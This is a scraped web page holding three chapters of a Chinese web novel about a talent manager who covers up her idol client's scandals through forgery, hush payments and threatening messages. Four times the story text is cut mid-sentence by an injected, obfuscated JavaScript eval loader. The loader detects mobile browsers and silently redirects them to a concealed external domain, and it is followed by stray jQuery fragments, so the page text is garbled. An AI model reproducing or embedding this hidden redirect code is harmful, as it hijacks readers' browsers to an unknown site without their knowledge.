做完这个重大决定,简晓夜的心情本来非常阳光,但是一看见向宁真心为她祝贺的眼神,她反而有些说不出的难过。 所有情绪相互叠加,最终只归为一叹:“是难得的双女主大戏呢,你要是能和我一起演,那该有多好啊……咱们那一届,论演技、论相貌,你都是拔尖的。” 向宁心里一揪,继而故作轻松地伸了个懒腰:“嗨,不用为我惋惜什么。自打选了幕后这条路,我就没有回头留恋过曾经的演员梦。” “可是,如果不是向阿姨突然出国,你本来应该——” “好了,晓夜。” 面对这个话题,向宁每次都不给她机会把话说完。 “这是我自己深思熟虑之后做的选择,跟阿姨她出不出国没有关系。” 简晓夜很想问清楚原因,但她已经尝试过很多次,都一无所获,这次干脆就不费口舌了。 “很晚了,睡吧。”向宁说。 简晓夜把赶到嘴边的话换成了一句:“晚安。” 然而她真正想说的却是:“我不相信你真的从来没有留恋过。” 即便如此,等到第二天早上醒来,她们还是默契地假装这段不愉快的对话从来没有发生过。 离白鹤涯的电影正式开拍还有一段时间,向宁和简晓夜都忙碌了起来。 简晓夜没有别的工作,每天都窝在家里研读原著和剧本,提前进入角色。 向宁则几乎成了况星宸的全职经纪人,三天两头陪他往全国各地飞。综艺、广告、杂志拍摄、新歌录制,恨不得把一个人掰成八瓣用。 向宁因公出差时,只要跨城,就不会要求麦秋陪同。 可是到了年底,麦秋却主动要求和她一起赶赴上海,陪况星宸参加电视台的跨年晚会。 原因也很简单,这场晚会的嘉宾之一是麦秋的新idol,既然有公费追星的机会,她怎么能轻易放过呢? 向宁了解完麦秋的想法,很爽快地批准了她的随同出差申请。 一来,反正机票酒店 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14874453|158356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都是薅公司的羊毛,不用自己出钱。 二来,赶上这样的大型活动,向宁一个人也有点忙不过来。谁让她带的艺人是况星宸呢?他可是星桥娱乐的幺蛾子之王,公认版。 尽管事先做足了心理准备,向宁还是不曾料到,况星宸刚登上飞往上海的航班,就放出了第一只幺蛾子。 况星宸出行一贯会带着经纪人坐头等舱,助理等其余工作人员都在经济舱,这次也不例外。 他昨天刚拍了一个代言广告,因为NG太多次,很晚才收工,没睡几个小时就来赶飞机了,因而精神欠佳,心情也不好。 机场和廊桥都有站姐跟拍,他只能强撑精神开启营业模式,打算上飞机以后立刻补觉。 很可惜,又事与愿违了。 这一班机组人员里,有位年轻的空乘是况星宸的铁杆粉丝,自从拿到旅客名单就翘首以盼,期待看到自己的偶像。 况星宸入座以后,那名空乘便对他表明了粉丝身份,并礼貌地询问他是否愿意给个签名。 “当然,当然。”况星宸笑着接过对方递来的照片和签字笔,还特意摘下墨镜,露出一双桃花眼,“你叫什么名字?” 身为粉丝,偶像主动提出要给to签,自然大喜过望,立刻告知自己的姓名。 然而她怎么也不会想到,况星宸前一秒还在笑意盈盈地递上签名照,等她转过身,下一秒他就换上了阴沉的面色,戴好墨镜翻了个白眼,扭头对向宁小声说: “刚才那女的叫汪什么璇来着,你记一下,回头帮我投诉她。一点眼色都没有,没看见我正要休息吗!” 向宁显然不愿接下这个差事,问道:“不至于吧?人家要个签名而已,也没打扰你睡觉啊。为这点事就投诉,你以为后果只是粉丝数量减一吗?搞不好明天就因为耍大牌被骂上热搜了。” 况星宸见她这样不开窍,更生气了:“你傻呀!投诉原因当然不能提我了!就用你自己的座位号,随便编个什么理由。或者,嗯……等一会发餐的时候,你想办法找点茬不就行了?记住,办法总比困难多。” “知道了,你赶紧睡你的美容觉吧!” 向宁口头上答应下来,却打定了主意要阳奉阴违。她知道白金卡用户投诉对空乘的负面影响很大,不想做况星宸任性妄为的帮凶,只盼他一觉睡醒就能忘掉这回事。 飞机落地后,睡眠充足的况星宸只觉神清气爽。 下机时路过机组人员,他还微笑着跟对方点头告别,看来此刻心情大好。 向宁本以为之前的事可以就此揭过,没想到况星宸一坐上保姆车就提醒她马上投诉,还要把截图发给他。 向宁只好登上航空公司的官网,去意见反馈处给本次航班的机组人员写了几句表扬的话,提交并截图以后,用美图软件P成投诉汪女士的内容。 况星宸看完截图,没有发现任何破绽,总算把这件事抛在脑后了。 明天就是跨年晚会,今晚还有个红毯要走。虽然不是重头戏,却也不能怠慢。 可是这一次,况星宸工作室第一定律居然提前发挥了效力。 果然,计划永远赶不上变化快啊。 33. 幺蛾子大王 是夜,红毯后台。 向宁带着摄影师来到况星宸的休息室门外,他的助理小杨正守在这里。 “况星宸换完衣服了吗?粉丝已经在催造型图了。”她问。 小杨支支吾吾,半天说不出个所以然来。 “算了,我去催他。”说完,向宁便打算推门进屋。 “等等,向宁姐!”小杨飞快地迈步上前,用身体挡住房门,“况星宸吩咐了让我守好门,除非他来喊人,否则不许任何人进屋。” 向宁嗤笑一声,按住小杨的肩膀往前一带,表情看似和颜悦色,目光却如尖刺一般,戳得他不敢直视。 “你看看我这张脸,上面写了‘听话’两个字吗?” 小杨不答话,只是摇头。 “那就让开,我不想再说第二遍。况星宸要是问起来,我会帮你把责任甩干净的。” 吃下定心丸,小杨总算愿意挪动步伐,让开了进门的路。 向宁尚未猜到况星宸在搞什么幺蛾子,她现在唯一能确认的是——摄影师不算百分之百的自己人,在彻底搞清状况之前,不能带他进屋。 “Adam老师,麻烦先在这里等一下,我进去催催艺人,好了再来叫您。” “好嘞好嘞,没事,我不急。” 向宁又对麦秋说道:“附近应该有卖咖啡、奶茶的,你问问Adam老师和小杨爱喝什么,算上你自己那份一起买了,外卖账单发我代付,去吧。” 麦秋按要求办事,引开了摄影师的注意力,向宁这才转身离去。 她先用力敲了敲门,奈何后台的声音过于嘈杂,里面的人不一定能听到。 等了几秒没有回应,向宁便将门推开一小半,侧身挤了进去。 在看到屋内情形的那一瞬间,她就死死咬住了后槽牙。 只见况星宸衣冠不整地坐在沙发上,怀里搂着个陌生女人,二人吻在一起,难舍难分。 向宁用力向后一踢,房门发出砰的一声,牢牢关住的同时,也终于引起了况星宸的注意。 他起初表现得有些难堪,却终究不愿在美女面前丢了面子,于是换个姿势搂住了她。那人却没有他这么强的心理素质,躲藏着将脸别了过去。 向宁抱臂俯视着况星宸,指东骂西道:“看来我这个代理经纪人做得不够称职啊,连你什么时候和女朋友分手的都不知道。” 况星宸翘起二郎腿:“没分手,好着呢,你别咒我们行吗!” “是吗?那这位小姐怎么称呼?不跟公司报备一下?” “用不着报备,我又不是劈腿什么的……”况星宸的声音越来越小,大约是底气不足的缘故,“我们这也是……气氛上来了才……” 眼看着解释不清了,况星宸只得扭头跟那位美女说起悄悄话来:“Vivian,那个,要不你先出去吧。这是个母老虎,你别惹她。等这边活动结束了,我让助理去接你。” 没办法,Vivian只得离开。起身时还低下头,用头发挡着脸。 然而她还没走几步,就被向宁伸手拦住了。 “你干嘛?” “手机里有没有留照片、录音、录像。” “你什么意思?!” “你知道我什么意思。” Vivian心知装傻没用,于是理直气壮道:“没有。” 向宁放下手臂,微笑道:“有的话,有钱拿,没有的话,一毛钱你都拿不到。” Vivian闻言一愣,继而挑眉疑道:“你到底什么意思?” “别总明知故问,”向宁渐渐失去了耐心,“我喜欢跟聪明人说话。” Vivian这次反应倒是很快:“多少钱?” 向宁反问:“你有多少料?” Vivian翻了个白眼,把手机相册打开给她看:“这些够不够?” 嚯,对镜play,真会玩。 向宁三两步走到况星宸面前,用不容拒绝的语气命令道:“手机拿出来。” 这是常规流程,况星宸早就习惯了,于是老老实实地交出手机。 向宁虽然知道锁屏密码,却还是抓住他的手指,用力拧着按在屏幕上,强行解开了锁。 “收款码打开。”她对Vivian说。 可是一抬头,就看到对方已经提前打开了收款码。 叮!扫码成功,弹出输入转账金额的页面。 向宁把况星宸的手机递给Vivian:“要多少,你自己输。” Vivian也不推辞,又尖又长的美甲噼噼啪啪打在屏幕上,落下一串数字。 向宁接过手机看也不看,直接怼到况星宸面前:“OK吗?” 况星宸在这种事上一向舍得花钱,见她的要价并没有高出市场价多少,于是爽快地输入了转账密码。转完钱还伸着脖子对Vivian喊道:“删视频之前先发我一份。” 钱难赚,屎难吃,因为况星宸不愿加Vivian的微信,向宁不得不冒着长针眼的风险充当了一次视频中转站,然后盯着她删掉了相册、最近删除和icould里的视频。 “网盘有自动备份吗?”她问。 “没有。” “有没有的,打开看看就知道了。” 见向宁这样不依不饶,Vivian自知钻不得空子,只得配合她把视频的所有备份删了个干净。 “这下你满意了吧!” 向宁脸上的微笑从未淡去:“我助理就在门口,你先找她签一下保密协议。否则,这笔钱你拿不稳,晚上接人的车你也见不到。” Vivian瘪着嘴用鼻子哼出一声冷笑,纵然不甘心,也不得不转身离开了。 关起门来,向宁就没有什么不敢说的。 “我说大哥你是有瘾还是有病啊?就这么一时半刻也闲不住吗!” 况星宸岔着腿靠在椅背上,一边整理头发一边忿忿道:“你少在那站着说话不腰疼!我也是人,我也有需求。你知道我素了多久吗?祝璋又不让我碰,我还有别的办法吗?” 向宁简直要被逗笑了:“有啊,去医院挂两个号,精神科和传染科都看一看呗。” 况星宸被她气得一时语塞,起身就要往外走:“懒得你跟废话,我倒要问问小杨,他这个守门员是怎么当的!” “你不用去找小杨,”向宁在况星宸身后提高音量说道,“他已经被我开除了。” 况星宸猛地回过头来,瞪着眼质问道:“你凭什么开除小杨?他是我的助理,我的!你有什么权力开除他?!” 向宁半坐在化妆台边缘,云淡风轻地回答:“他敢拦我的路,我不开心,就开他咯。怎么,你还想把他捞回来?” 她知道,况星宸一向经不得激将,用这个方法帮小杨甩脱责任是最简单有效的。 果不其然,况星宸当即给小杨打去电话,接通以后死死盯住向宁的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14882303|158356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 双眼,咬牙切齿道:“杨晨叶,你现在就给老子滚回来!我不管那母老虎跟你放了什么开除不开除的狗屁,都滚她大爷的!你是我的助理,没有我发话,谁也别想动你一根手指头!” 眼见向宁的脸色越变越差,况星宸很是得意,自以为终于胜了她一局,哪晓得这也在她的计划之内呢? 电话那头,杨晨叶顿时一头雾水。 啊? 这都什么跟什么啊? 母老虎是谁?向宁姐吗?她没说要开除我啊? 诶,但是况星宸好像没有要追责我放她进屋的事耶! 那就别多问了,只需要—— “欸,好,好嘞,好的好的,嗯嗯嗯好,再见,嗯嗯好,嗯再见,好嘞好嘞……” 挂掉电话,杨晨叶长出一口气。 麦秋这时刚把签完保密协议的Vivian送走,见状好奇道:“怎么了?” 杨晨叶双手捂着手机,放在心口位置:“我应该安全了。” 话音刚落,向宁就从休息室里走了出来。 “Adam老师,况星宸正在换衣服,大概五分钟就好。” “OK,我随时能开工。” 紧接着,向宁又走到麦秋二人身边,伸手在杨晨叶面前打了个响指:“你,躲一躲,找个地方摸二十分钟的鱼再回来。” “啊?为什么?” “在况星宸的认知里,你刚才为了保护他的隐私,被愤怒的我给开除了,现在正在往回赶。懂了?” “喔——懂了!”杨晨叶微微鞠了一躬,“谢谢向宁姐!” 向宁摆摆手,推他一把:“赶紧走赶紧走!” 赶走杨晨叶,她又回过头来拉着麦秋问道:“你进公司以来,况星宸,或者台前幕后的其他随便什么人,有没有骚扰过你?” 麦秋茫然地摇摇头:“没有。” 向宁还是不敢全然放心,继续交代道:“如果有,不论对方是谁,你都别害怕,一定要马上告诉我,知道吗?” 麦秋用力点点头,笑着问:“你怎么突然想起来说这些了?” 向宁叹了口气:“咱们这行里脏事多,我也是怕他们犯起病来,会强拽窝边草。” 她刚入行时就遇到过这种事,好在被煦晗姐帮着挡回去了。如今时过境迁,她有了足以自保的能力,也不能只顾独善其身,至少得把自己的助理保护好了。 正这样想着,况星宸就推开了休息室的门,脸上挂着标准的偶像式微笑,仿佛刚才什么事也没有发生过。 “我好了,Adam老师,您看在哪拍摄比较合适?” 摄影师正要说话,向宁就抢先一步打断道:“等等,先别急!” 况星宸虽然不爽,却不能在外人面前表现出来,只能强忍着维持脸上的微笑:“还有什么事,向宁姐?” 向宁没理他,只是从屋里搬出一个凳子放在摄影师旁边,安抚道:“Adam老师,麻烦再等等,艺人的造型出了点问题。” 况星宸显然知道她说的是什么意思,自知理亏,讪讪地摸了摸鼻子。 摄影师也见惯了难搞的艺人,这点麻烦不算什么,耐心等着就是了,何况他们团队待他态度还很好。 向宁则一手拉住麦秋往屋里走,一手按住况星宸的肩膀,顺势用拇指擦去他锁骨上的口红印,用脚关上门,一开口就往他心虚处踩。 “你这身衣服,不是品牌方给的那套吧!” 34. 拆弹专家 向宁最近在帮况星宸谈一个高奢品牌的代言,这次红毯活动前特意跟品牌方借了一套高定西装。 可现在他这身衣服显然不是那一套。 “怎么回事?” “啊——那什么,你帮我借的那套衣服吧,虽然是红血高定,但是前段时间已经有别的明星穿着拍过杂志了。虽然没有同场活动撞衫那么尴尬,但也怪膈应人的。” 况星宸口中那位艺人是做模特出道的,不论身高还是身材都能艳压他。这两个人要是撞了衫,难免被网友拉出来比较,而且客观来说,况星宸只有长相占优,胜率不高。 向宁先不跟他对着干,而是询问道:“So?现在这套呢?” 况星宸挑了挑一边眉毛,得意洋洋道:“蓝血超季,全球首穿。” 向宁凑近看看衣服logo,疑道:“这个牌子很难借诶。” 况星宸听了更是得意,下巴都快扬到天上去了。 “祝璋帮你借的?”她问。 “啧。”况星宸稍显不爽,“你别说得我像吃软饭似的行吗?我只是让她帮忙牵了个线,衣服是我自己出钱买的!” 向宁险些眼前一黑:“不是借的……是买的!?” 况星宸对她的反应很不满意:“你愁什么?又没让你掏钱。” 向宁扶额道:“大哥,你是真不懂还是假不懂啊?品牌方愿意借衣服给你,代表人家认可你。咱们拍完照发了微博,人家转发认领,这才有得吹。可是你自掏腰包买来一套衣服,除了能证明你有钱,其他什么意义都没有,品牌方更不会来认领你的‘消费者’身份,你让粉丝拿什么吹?” 况星宸听她解释完这一通,仍旧不以为意道:“你才不懂呢!你以为蓝血超季是有钱就能买到的吗?那也得有人脉,加上人家认可你,才愿意卖给你呢!” 时间紧迫,向宁不想再跟他废话了,直接下结论道:“不管你怎么说,今晚都不能穿这套衣服。” 况星宸顿时睁大了双眼,差点一蹦三尺高:“不是,你又作什么妖?” 向宁深吸一口气,尽量好声好气,顺毛捋道:“你让我帮你跟对家抢的那个高奢代言,我已经谈得差不多了。人家现在借一套高定给你走红毯,就是在考察你和品牌的契合度,以及你粉丝的宣传能力。咱们要是这么没有契约精神,临时换上别家的衣服,你让品牌方怎么想?到嘴的鸭子都得飞了!” 况星宸坐回沙发上,抖着腿不屑地嘁了一声:“区区高奢,屁事还多得很,谁稀罕?有我女朋友帮忙,顶奢代言老子也拿得下来。” 向宁一度无语,在心里咆哮道:还说不是吃软饭!? 况星宸不想再跟她多费口舌,直接对麦秋发号施令道:“你,去叫Adam进来!” 麦秋跟向宁对上眼神,见她点了点头,这才照做。 看着况星宸和摄影师沟通需求时眉飞色舞的样子,麦秋在心里把他骂了十八个来回——向宁姐为了帮他谈代言花了那么多心血,他倒好,今晚这样任性一回,她的所有努力都付诸东流了。 麦秋用心声发泄完,又扭头去观察向宁。却见她没有表现出任何情绪波动,只埋头在手机上划划点点,半晌,嘴角忽然浮现一抹隐秘的微笑。 麦秋正在猜测她的意图,就听向宁再次出言打断摄影师的工作进程。 况星宸这次真的没有耐心了,甚至在外人面前都无法维持完美偶像的假面,直接发起火来:“又怎么了!?有病治病,别烦我行不行!” 向宁不急不恼,从容地将手机屏幕展示给他看。 “什么东西?”况星宸不想看,“有话就说,有屁就放!” “你这身宝贝顶奢的品牌官网,选收货地址时跳出的各国地图。” 况星宸心头一震,似乎隐隐有了猜测。 凑近一看,果不其然,当前定位的全国地图并不完整,东南方向缺了一个重要的岛屿。 “你确定这是官网吗?会不会是什么乱七八糟假冒伪劣的小网站啊?”况星宸还抱着一丝希望。 向宁收起手机耸耸肩:“不信你自己查啊。” “我靠,我靠……” 况星宸没心思去求证,平时吵架归吵架,真到关键时刻,他对向宁还是一百个放心的。 此时此刻,他只觉心跳倏地变快,不禁自言自语起来:“我就知道外国牌子不靠谱……Shit,什么狗屁顶奢,差点害死老子了……” 摄影师不知道发生了什么,但是看到他精彩多变的表情,就知道该发问确认情况了:“呃,那个,咱们还拍吗?” “还拍啥呀,再拍就凉了!”况星宸一边脱外套一边抱怨道,“赶紧赶紧,把planA那套衣服拿来!” 把摄影师送出门以后,况星宸顿了一顿,又问向宁:“你能确保原定那个牌子没问题吧?” 向宁果断表明:“各方面都确认过了,截至目前没有出现过任何立场问题。将来要签代言合同也可以加一条,如果品牌方在合作期内踩到这条红线,咱们有权直接解约,对方赔款。” “好好好,就这样!” 况星宸点头如捣蒜,随即给杨晨叶打去电话,让他回来时顺便去车上把原定那套西装取来。 小杨立刻按吩咐办事,只是赶来还需要一段时间。然而活动已经开始,艺人们依序踏上红毯。按照既定的时间表,况星宸还有不到半小时就要去候场了。 他急得左脚踩右脚,像热锅上的蚂蚁一般。向宁则背对着他坐在化妆台边,跟麦秋面对面发起微信来。 [向宁]过来站我身后,帮忙挡一下况星宸的视线。 [麦秋]你的强来了.jpg 背后有了兼具瞭望塔功能的防护墙,向宁便放心做起小动作来。 先拿出自己的工作人员通行证,放在毫无特征的米黄色桌面上,遮住个人信息拍了张照。 再登上小号去八卦论坛开帖,镇楼图即刚拍的照片,标题为:牛马实习生在红毯后台摸鱼,有什么想问的? 几分钟过后点开帖子,评论区问题不少,但基本都是“某某明星本人好看还是上镜好看?”“听说某某明星爱耍大牌,是真的吗?”“今晚红毯谁压轴?”“有没有艳压名场面可看?”等等。 这类毫无新意的问题,一个都没问到向宁的枪口上。 没办法,挑出几个不咸不淡的问题答完以后,还得让麦秋来和她打配合。 [107Lmomo]好无聊,有瓜吃吗?劲爆点的那种! 向宁不急着回答,得先让其他网友再盖几楼,免得太快暴露自己的真实目的。 等待片刻,她又回答了几个无聊的问题,然后才回复麦秋。 [131L江湖骗子]有,但是说出来怕炸楼捏…… 闻到新鲜的瓜味,网友们便坐不住了,纷纷留言追问。 [133L]我嘴严,楼主私信我!!! [137L]打哑谜的一律按引流博眼球处理,从我组滚出克! [141L]我教你,lz别爆真名,用代号给线索就行,大家能看懂。 眼看铺垫得差不多了,向宁终于再次现身。 [155L江湖骗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14890983|158356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子]某狂立单身人设的男艺人忙里偷闲,把漂亮姐姐带进休息室里了耶~还让助理在门口当人形封条,但是封不住门里的声音捏~ 看到这里,麦秋不禁倒吸一口凉气——怎么回事,向宁姐平时不像这么低级趣味的人啊?难道这是她隐藏的另一面吗? 向宁没有跟她解释。所谓一石激起千层浪,刚才那条评论发出去以后,吃瓜网友的追问更如潮水一般涌来。 [158L]淦!是年轻艺人吗?idol?演员?求划年龄范围! [162L江湖骗子]蛮年轻的耶,看脸二十出头?真实年龄不了解。 [165L]火吗?微博粉丝量多少?别又是狗仔口中的顶流,实际糊穿地心没人认识的那种吧! [169L江湖骗子]艺人的微博粉丝量都蛮虚的吧,但他应该是真的火,否则也借不到蓝血超季捏~ 看到这条回复,麦秋忽然灵光一闪,仿佛察觉到了向宁开帖爆料的真实意图。 [173Lmomo]我靠,他今天穿蓝血超季是吗?那范围就很小了啊!哈哈哈哈哈我就蹲红毯直播了!! 没过多久,专注挖掘这颗小瓜的其他网友也相继开帖,纷纷建起了高楼。 《排除法yyds,用各艺人工作室已出的造型宣图缩小范围》 《红毯嘉宾咖位拉表,能借到蓝血超季的不多啊》 《红毯直播楼,目前尚未发现嫌疑人》 一连串造瓜吃瓜的流程走下来,八卦论坛里自是一片混战,各路营销号也听到了风声,争先恐后地搬运原帖,况星宸却还一无所知。小杨已经把原定的西装取来了,他正忙着换衣服呢。 麦秋在角落里跟向宁说着悄悄话:“姐,你发那个帖子不是真的为了爆料吧?” 向宁小幅度点点头:“这篇帖子不是发给网友看的,是用来给况星宸这颗不定时炸弹降温去火的。” “什么意思?”麦秋满脸写着求知欲,拉起向宁的胳膊轻轻晃着,“你跟我讲讲呗!” 向宁拿起手机,翻到刚才用来吓唬况星宸的地图界面:“喏,不是浏览器,是相册里的网页截图。” 麦秋恍然大悟:“啊?难道品牌官网的地图没问题,这是你P的假地图?” “嘘——”向宁竖起食指抵在唇边,“只是把以前其他品牌出过问题的地图截下来,搞一手移花接木罢了。” 要是不这么吓唬况星宸,他今天非得穿着自己买的衣服上红毯不可。 一副暴发户做派,被网友骂low事小;没有契约精神,得罪了正在谈代言的品牌方事大。向宁辛辛苦苦拉来的合作,可不能让况星宸随随便便就毁了。 麦秋低声道:“瞒得了一时,瞒不了一世,万一被况星宸发现了怎么办啊?” 向宁翻回八卦论坛界面,眯眼笑着摇了摇手机:“所以,我才要自己制造一颗新炸弹呀,以毒攻毒嘛。” 这样一来,就算况星宸回过神来发现她骗了他,也不会多说什么。毕竟在他的认知里,向宁这么一耍心眼,反而阴差阳错地救了他——要是真的穿着那套蓝血超季走上红毯,不出十分钟,他的桃色新闻马上就能登顶热搜。 “原来是这样……”麦秋不由感叹,“看来,我还有很多东西要学啊……” 本以为今夜的风波可以告一段落,谁知房间里才安静了没多久,况星宸就用一声怒吼打破了来之不易的轻松时刻。 “去你大爷的!” 不知怎的,他此刻气上心头,竟一脚踹到了小杨的腰上。 “杨晨叶,你想害死我啊!?” 35. 她是坏人 “又怎么了!?” 向宁厉声一吼,况星宸的气焰顿时消了一截,再开口时多少有点像小学生跟老师告状。 “这蠢货丢三落四,把planA配套的衬衫落在公司了,压根没带上飞机!还剩十几分钟就该我走红毯了,时间这么紧,让我上哪找一件同款衬衫去啊?!” 况星宸换衣服才换到一半,上身未着寸缕,客观来说身材还算养眼,前提是——不取出增高鞋垫的话。 他自顾自发泄着怒火,向宁却不觉得这是什么大事,从小杨手中接过西装外套披在况星宸肩上,掸了掸衣袖。 “那就别找了呗。”她将手机一角顶在他胸膛上,重重一敲,留下个小小的红印,“真空上阵,就当给粉丝发福利了。” 况星宸捏住向宁的手机,平视着她的双眼,不满道:“是你的手机没有天气功能,看不到外面现在是零下几度,还是你不属于地球人类,压根就没有保暖需求啊?” 向宁用力抽出手机,并没有让步:“零下几度又怎么了?您老人家但凡出门看看就该知道,即便没有衬衣,你这身西装也比女艺人的礼服保暖多了,有什么可矫情的啊?” 况星宸张了张嘴,似乎还想反驳,却找不出什么论据,只得气呼呼往沙发上一坐,一言不发地穿好了西装外套。行为是妥协的,态度却是抗拒的。 心里憋着火时,况星宸总是看谁都不爽,只能用发号施令的方式排遣怒气。 点兵点将似的,他伸手在面前绕了几圈,最后指向麦秋:“你,让化妆师过来给我补妆!” 镜头吃妆,也吃肌肉线条。既然换了露肤度高的造型,就得在身上多扑点修容粉。 “你,去给我买暖宝宝。”第二个被况星宸选中的人是小杨,“十分钟以内回不来,我拿你是问!” 麦秋的任务很简单。 虽然况星宸为了和Vivian约会,早早把化妆师打发了出去,但她并没有走远,一直坐在门口不远处玩手机,喊一声就行了。 杨晨叶的任务却不好做。 即便骑共享单车去最近的超市,加上买东西的时间,一个来回也得二十分钟。 摆在他面前的只有两条路—— 其一是按照况星宸的吩咐办事。如果排在他前面的艺人们能在红毯上多留一段时间,也许现在去超市还来得及。 其二是向后台的其他工作人员求助,如果能在十分钟内借到足够数量的暖宝宝,那也算圆满完成了任务。 然而这两条路都有太多的不确定性,怎么走都未必能成功。一旦失败,况星宸肯定又要拿他开刀了。 正是万分纠结的时候,杨晨叶忽然感觉有人扯了扯他的衣角,回头一看,原来是麦秋。 只见她在斜挎包里翻翻找找,又从中拿出一个毛绒绒的小圆包,直接塞进他手里。 “现在去买肯定来不及了,要不然,你就用这个充充数吧。” 杨晨叶闻言自然很是感谢,打开小圆包一看,里面的东西对他而言堪称新奇。 “暖宫贴?和暖宝宝用法一样吗?” “原理都差不多吧。”麦秋想了想,又建议道,“最好把外包装撕了,别让况星宸看见这几个字。他事多,肯定又嫌这嫌那的。” 杨晨叶从善如流,拆下包装袋,道了谢便打算回休息室去交差,结果又被麦秋拦了一把。 “别急着回去呀,卡deadline再走!免得他习惯你这么快给反馈,以后每次布置任务都不给你宽限时间了。” 杨晨叶恍然大悟,继而又是一轮道谢。 休息室内,两个小助理离开以后,况星宸的心情总算好些了。 奈何他脸上的笑容没挂多久,向宁就再次开启了唠叨模式,让他心烦。 “我说,你以后能不能对小杨温柔点?别总拳打脚踢,颐指气使的。” 见他不耐烦地闭上眼睛,就知道单讲道理是讲不通的,还是得往要害处踩。 “他是你的助理,对你那么多秘密都一清二楚。你就不怕他哪天忍不住了,在沉默中爆发,打你一个措手不及吗?” 况星宸懒懒地睁开眼:“你当保密协议是白签的?放心吧,他不敢,也赔不起。” 眼看向宁还想开口,况星宸连忙抢先一步捂住她的嘴,歪着脑袋笑道:“姐,我叫你一声姐,你别把自己当我妈,成吗?” 向宁用力拍开他的手,讽刺道:“不敢高攀。你爸妈有你,可真是他们的福气啊。” 嘁,谁稀得做他姐? 正经论起年龄来,向宁还比他小两岁呢! 化妆师一进门,向宁二人就不约而同地开启了闭麦模式。 况星宸敞着外套,似乎很享受化妆刷扫过腹肌的触感,闭着眼都快睡着了。 向宁却没他那么心大,打开手机地图找了找,见最近的超市也有好一段距离,不由担心小杨买完东西无法按时赶回这里。 她并不知道麦秋已经帮忙解决了问题,只怕万一况星宸耍起脾气来,没有暖宝宝就不肯出去走红毯,那么局面肯定会十分被动。 首先,一顶耍大牌的帽子他是非戴不可了。这次红毯活动全程直播,大众关注度很高,各家媒体也都派了记者来现场,有点什么风吹草动都瞒不过他们的眼睛。 其次,吃瓜网友们还在蹲守,誓要揪出穿蓝血超季的“犯罪嫌疑人”。如果况星宸拒不出场,网友们肯定会认为他就是“真凶”,发现网上有人爆料后做贼心虚,决定临时换衣,这才耽误了走红毯的时间。 为了给小杨多争取一点时间,防止出现这种难搞的情况,必须得想个办法出来! 可是想来想去,似乎只有一条路能走——让上场顺序排在况星宸之前的艺人多拖一段时间。 看看流程表,前面还有不到十个人。加上跟主持人互动的环节,每个人最多在红毯上待两分钟,必须尽快找到突破口。 幸而短短一列表格中,有一个熟悉又令人憎恶的名字分外显眼。 吕亦真。 一表人才,粉丝颇多的青年男演员。 和简晓夜合作拍过两部戏。 明明已经隐婚生子,却佯装单身,多次借拍戏之便骚扰女演员,言行举止令人作呕。 好,那就从你这打开突破口吧。 算你倒霉。 哦,不,应该说……算你活该。 向宁问乔煦晗要到了吕亦真本人和经纪人的联系方式,打算先给他的经纪人发条短信。 毕竟在此类活动期间,艺人的手机未必一直在身边,常常无法立刻看到新消息。 经纪人就不一样了,为了能及时、有效地跟各方面沟通,不但手机不离手,而且反应速度堪比某宝客服。 吕亦真的经纪人Kevin便是这样,前一秒刚收到工作人员通知艺人候场的消息,下一秒就开始催促吕亦真加快动作。 然而二人还没走出休息室的门,Kevin就收到了一连串让他后背发凉的短信。 [未知号码]让吕亦真立刻联系我,否则三分钟后,你就能在热搜榜上看到两个词条。 [未知号码]第一,吕亦真隐婚生子。 [未知号码]第二,吕亦真婚内出轨。 其实发出第三条信息的时候,向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14900337|158356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宁对吕亦真是否有实质性出轨之事并没有十足的把握,只是凭经验做出了大胆的假设,认为值得一赌。 半分钟后,看到来电显示界面跳出吕亦真本人的号码时,向宁就知道,她赌对了。 “喂。”她接起电话,声线比本音更软些。 “你是谁?你要干什么?!”没错,对面是吕亦真的声音,急切而忐忑,“说话啊!” “短信联系吧。”向宁说完马上挂掉电话,不给他反应和思考的时间。 紧接着,她的消息便如催命符一般飞了过去。 [未知号码]我要见你。 [吕亦真]你到底是谁? 